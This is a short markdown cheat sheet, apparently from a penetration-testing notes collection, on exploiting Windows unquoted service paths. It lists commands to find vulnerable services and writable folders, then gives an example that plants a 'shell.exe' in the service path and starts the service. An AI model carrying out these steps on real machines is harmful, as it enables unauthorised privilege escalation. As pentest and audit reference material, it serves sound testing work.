killchain-compendium/exploit/windows/docs/unquoted_path.md

# Unquoted Path

* Path to a service without quotes can be hijacked by inserting other executables and services into the path.
* Some part of path has to be writeable, windows tries to insert `.exe` instead of a space.
* Check services via `wmic service get name,displayname,pathname,startmode` and `sc qc <servicename>`
* Check permissions on paths via `.\accesschk64.exe /accepteula -uwdq "C:\Service Path\"`

## Example
* The unqoted path is `C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe`
```sh
copy C:\shell.exe "C:\Program Files\Unquoted Path Service\Common.exe"
```
```sh
net start <service>
```